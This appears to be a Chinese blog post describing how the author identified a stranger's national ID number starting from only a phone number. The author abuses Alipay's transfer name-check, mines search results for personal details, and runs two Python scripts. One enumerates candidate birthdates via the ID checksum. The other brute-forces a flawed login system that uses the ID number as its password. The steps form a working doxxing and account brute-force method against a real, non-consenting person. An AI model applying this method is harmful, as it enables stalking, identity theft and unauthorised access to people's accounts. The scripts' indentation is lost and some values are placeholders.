从手机号探测身份证号成功经历笔记
笔者曾利用网络成功地从一个手机号挖掘到其机主的身份证号,算是一件令人兴奋的事情,写文以记之。
任务分析
已知一个手机号:xxxxxxxxxxx,目标是获取其机主身份证号。可利用的条件包括一个存在缺陷的利用身份证号验证登录的系统以及互联网搜索引擎。
探测过程
首先,利用支付宝的转账功能去获取机主姓名的一部分。很幸运,得知机主姓名为三个字,名为 xx。
支付宝转账这一方法成功的限制条件较多,其一,机主须用该手机号绑定了支付宝;其二,机主在支付宝中没有设置隐藏姓名。但可以说,这是一个不可错过的尝试手段。
接下来,尝试去获取机主的姓。通过百度手机号,很幸运地在一个电商交易网站发现了机主的一些信息。上面显示的卖家姓名为“x先生”,并且联系电话与机主的一致。同时,从商品描述信息中笔者还了解到机主是 xxx 校的学生,年龄在 21~23 岁之间。这些信息不一定正确,但对笔者进一步搜索帮助很大。
然后,为了保证准确性,再次利用支付包的转账验证姓名功能,结果验证通过。至此,笔者已经获取到了机主的姓名 xxx 以及一些其他个人信息。
有了这些信息,利用搜索引擎获取更多信息也变得容易。通过在百度检索学校+姓名,笔者又很幸运地在一个公布招生信息的网页获取到了机主的身份证号的一部分:xxxxxx********xxxx。缺失的是8位生日码。到这一步,已经成功了一半。
笔者简单科普一下身份证号。
身份证号长度有 15 位和 18 位两种,15 位是旧版本,可以转换为 18 位,所以接下来说的都是18位版本。
号码可分为4段:
6 位地区码(县级) + 8 位生日码(yyyyMMdd) + 3 位顺序码 + 1 位校验码
关于最后一位校验码,需要由前 17 位根据计算规则生成。规则笔者就不具体阐述了。
最后的任务就是解析这缺失的生日码。笔者再次尝试搜索,无果。只有考暴力破解。分析一下难度,由以上步骤已经判断出机主的年龄段,那么生日码前 4 位即为 1994
、1995
、1996
之一,这降低了不少难度,剩下的 4 位可通过身份证最后一位校验码进行遍历筛选,可知,数据量其实并不大。
于是笔者写了一段 Python 脚本去遍历找出所有可能的结果:
multiplier = (7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2)
mapper = (1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2)
def get_last(no17):
sum = 0
for i, n in enumerate(no17):
sum += int(n) * multiplier[i]
return mapper[sum % 11]
for y in range(1994, 1997):
for m in range(1, 13):
for d in range(1, 31):
id_no_17 = "xxxxxx%d%s%sxxx" % (y, str(m).zfill(2), str(d).zfill(2))
if get_last(id_no_17) == x:
print("%s%d" % (id_no_17, 7))
得到 97 个可能的有效身份证号。所以,关键就是找出藏在其中的真身。前文说过,还有一个可利用的条件是一个用身份证号验证登录的系统。可谓关键。分析其登录接口,同样用一段 Python 代码去搞定逐个验证任务。关键代码:
import urllib
from urllib import request
import hashlib
import time
with open(r"E:\xxx\id_card_no.txt") as file:
id_no_arr = file.read().split("\n")
stu_no = "xxxxxxxx"
url = "xxxxxxxx"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
}
for id_no in id_no_arr:
sign = int(time.time() * 1000)
en_pwd = hashlib.md5(id_no.encode()).hexdigest()
en_pwd = "%s%d%s" % (stu_no, sign, en_pwd)
en_pwd = hashlib.md5(en_pwd.encode()).hexdigest()
post_data = urllib.parse.urlencode({
...
}).encode("utf-8")
req = request.Request(url=url, data=post_data, headers=headers)
res = request.urlopen(req)
res_data = res.read()
res_data = res_data.decode("utf-8")
print(id_no, res_data)
if res_data == "0":
print(id_no)
break
等待过程紧张但毫无意外地成功得到机主真正的身份证号 xxxxxxxxxxxxxxxxxx!
大功告成。
总结
抛砖引玉。这或许就是“人肉”技术的冰山一角吧。笔者并非想获取到这些信息干些什么不好的事情,仅仅是一次技术实践演练。经过这次练手,可一窥网络隐私安全问题,感触颇多。